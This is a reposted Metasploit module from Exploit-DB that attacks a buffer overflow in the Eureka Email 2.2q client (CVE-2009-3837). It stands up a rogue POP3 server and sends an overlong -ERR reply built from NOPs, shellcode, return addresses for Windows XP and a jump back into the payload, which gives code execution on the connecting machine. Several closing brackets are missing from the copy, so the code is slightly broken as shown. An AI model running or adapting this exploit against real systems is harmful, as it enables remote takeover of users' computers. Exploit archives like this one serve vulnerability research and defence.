Eureka Email Client 2.2q – ERR Remote Buffer Overflow (Metasploit) (2)

Exploit Database
110 阅读

作者： Metasploit

日期： 2010-08-25
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16443/

# $Id: eureka_mail_err.rb 10150 2010-08-25 20:55:37Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})

super(update_info(info,

'Name' => 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit',

# bof occurs due to wsprintfA @ 0x43bdf2 in "Eureka Mail.exe" v2.2.0.1

# overflows a buffer of 512 bytes, smashes a buffer of 256 bytes, then the return address

'Description'=> %q{

This module exploits a buffer overflow in the Eureka Email 2.2q

client that is triggered through an excessively long ERR message.

NOTE: this exploit isn't very reliable. Unfortunately reaching the

vulnerable code can only be done when manually checking mail (Ctrl-M).

Checking at startup will not reach the code targeted here.

'Author' =>

[

'Francis Provencher (Protek Research Labs)',

'Dr_IDE',

'dookie',

'jduck'

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 10150 $',

'References' =>

[

[ 'CVE', '2009-3837' ],

[ 'OSVDB', '59262 ' ],

[ 'URL', 'http://www.exploit-db.com/exploits/10235' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space'=> 700,

'BadChars' => "\x00\x0a\x0d\x20",

'StackAdjustment' => -3500,

'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",

'DisableNops' => true,

'Platform' => 'win',

'Targets'=>

[

[ 'Win XP SP3 English', { 'Ret' => 0x7E429353 } ], # jmp esp / user32.dll

[ 'Win XP SP2 English', { 'Ret' => 0x77D8AF0A } ], # jmp esp / user32.dll

'Privileged' => false,

'DefaultTarget'=> 0,

'DisclosureDate' => 'Oct 22 2009'

))

register_options(

[

OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),

], self.class)

end

def on_client_connect(client)

return if ((p = regenerate_payload(client)) == nil)

# the offset to eip depends on the local ip address string length...

already = "Your POP3 server had a problem.\n"

already << datastore['LHOST']

already << " said:\n\n-ERR "

space = (512+256+4) - already.length

buffer ="-ERR "

buffer << make_nops(space - payload.encoded.length)

buffer << payload.encoded

buffer << [target.ret].pack('V')

buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-0x2c0").encode_string

buffer << "\r\n"

print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")

client.put(buffer)

handler

service.close_client(client)

end